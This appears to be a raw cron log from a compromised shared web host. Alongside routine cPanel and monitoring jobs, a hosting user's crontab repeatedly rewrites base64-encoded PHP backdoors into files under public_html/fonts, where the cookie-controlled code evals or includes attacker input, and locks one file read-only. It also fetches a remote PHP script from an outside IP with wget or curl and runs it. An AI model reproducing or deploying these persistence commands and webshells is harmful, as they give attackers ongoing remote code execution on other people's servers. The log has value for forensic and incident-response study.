Sep  5 17:26:01 ip-184-168-122-23 CROND[24686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:26:01 ip-184-168-122-23 CROND[24683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:26:01 ip-184-168-122-23 CROND[24684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:26:01 ip-184-168-122-23 CROND[24687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:27:01 ip-184-168-122-23 CROND[24785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:27:01 ip-184-168-122-23 CROND[24784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:27:01 ip-184-168-122-23 CROND[24786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:27:01 ip-184-168-122-23 CROND[24787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:28:01 ip-184-168-122-23 CROND[24889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:28:01 ip-184-168-122-23 CROND[24891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:28:01 ip-184-168-122-23 CROND[24893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:28:01 ip-184-168-122-23 CROND[24892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:28:01 ip-184-168-122-23 CROND[24890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:29:01 ip-184-168-122-23 CROND[24978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:29:01 ip-184-168-122-23 CROND[24980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:29:01 ip-184-168-122-23 CROND[24979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:29:01 ip-184-168-122-23 CROND[24981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:30:01 ip-184-168-122-23 CROND[25066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:30:01 ip-184-168-122-23 CROND[25068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:30:01 ip-184-168-122-23 CROND[25069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:30:01 ip-184-168-122-23 CROND[25070]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:30:01 ip-184-168-122-23 CROND[25072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:30:01 ip-184-168-122-23 CROND[25075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:30:01 ip-184-168-122-23 CROND[25073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:30:01 ip-184-168-122-23 CROND[25074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:31:01 ip-184-168-122-23 CROND[25171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:31:01 ip-184-168-122-23 CROND[25170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:31:01 ip-184-168-122-23 CROND[25169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:31:01 ip-184-168-122-23 CROND[25173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:31:01 ip-184-168-122-23 CROND[25172]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:32:01 ip-184-168-122-23 CROND[25343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:32:01 ip-184-168-122-23 CROND[25345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:32:01 ip-184-168-122-23 CROND[25344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:32:01 ip-184-168-122-23 CROND[25346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:32:01 ip-184-168-122-23 CROND[25347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:33:01 ip-184-168-122-23 CROND[25433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:33:01 ip-184-168-122-23 CROND[25432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:33:01 ip-184-168-122-23 CROND[25435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:33:01 ip-184-168-122-23 CROND[25434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:34:01 ip-184-168-122-23 CROND[25516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:34:01 ip-184-168-122-23 CROND[25520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:34:01 ip-184-168-122-23 CROND[25518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:34:01 ip-184-168-122-23 CROND[25521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:34:01 ip-184-168-122-23 CROND[25519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:35:01 ip-184-168-122-23 CROND[25650]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 17:35:01 ip-184-168-122-23 CROND[25651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:35:01 ip-184-168-122-23 CROND[25655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:35:01 ip-184-168-122-23 CROND[25656]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:35:01 ip-184-168-122-23 CROND[25652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:35:01 ip-184-168-122-23 CROND[25653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:35:01 ip-184-168-122-23 CROND[25654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:35:01 ip-184-168-122-23 CROND[25657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:36:01 ip-184-168-122-23 CROND[25751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:36:01 ip-184-168-122-23 CROND[25754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:36:01 ip-184-168-122-23 CROND[25755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:36:01 ip-184-168-122-23 CROND[25753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:36:01 ip-184-168-122-23 CROND[25756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:37:01 ip-184-168-122-23 CROND[25932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:37:01 ip-184-168-122-23 CROND[25931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:37:01 ip-184-168-122-23 CROND[25933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:37:01 ip-184-168-122-23 CROND[25934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:38:01 ip-184-168-122-23 CROND[26014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
